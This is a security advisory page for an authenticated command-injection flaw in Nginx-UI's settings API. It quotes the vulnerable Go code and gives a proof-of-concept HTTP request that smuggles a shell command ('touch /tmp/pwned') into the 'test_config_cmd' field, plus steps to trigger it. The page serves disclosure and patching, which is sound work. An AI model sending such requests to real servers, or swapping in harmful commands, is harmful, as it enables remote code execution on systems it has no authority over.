GHSA-pxmr-q2x3-9x9m

    Dashboard / Vulnerabilities / GHSA-pxmr-q2x3-9x9m

    GHSA-pxmr-q2x3-9x9m

    Published: 11 Jan 2024Last Modified: 6 Jul 2026

    Summary: Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

    Details: ### Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { ... Nginx settings.Nginx `json:"nginx"` ... } ... settings.NginxSettings = json.Nginx ... err := settings.Save() ... } ``` The `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function: ```go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd) return } out = execCommand("nginx", "-t") return } ``` The [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows: ```go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } ``` Where the `cmd` argument is user-controlled and is passed to `/bin/sh -c`. This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"test_config_cmd":"touch /tmp/pwned"`. ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256). 4. Verify that `/tmp/pwned` exists. ``` $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

    Affected packages

    Package

    Name: github.com/0xJacky/Nginx-UI

    Purl: pkg:golang/github.com/0xJacky/Nginx-UI

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.9.10-0.20231219184941-827e76c46e63

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-pxmr-q2x3-9x9m | CVE-DB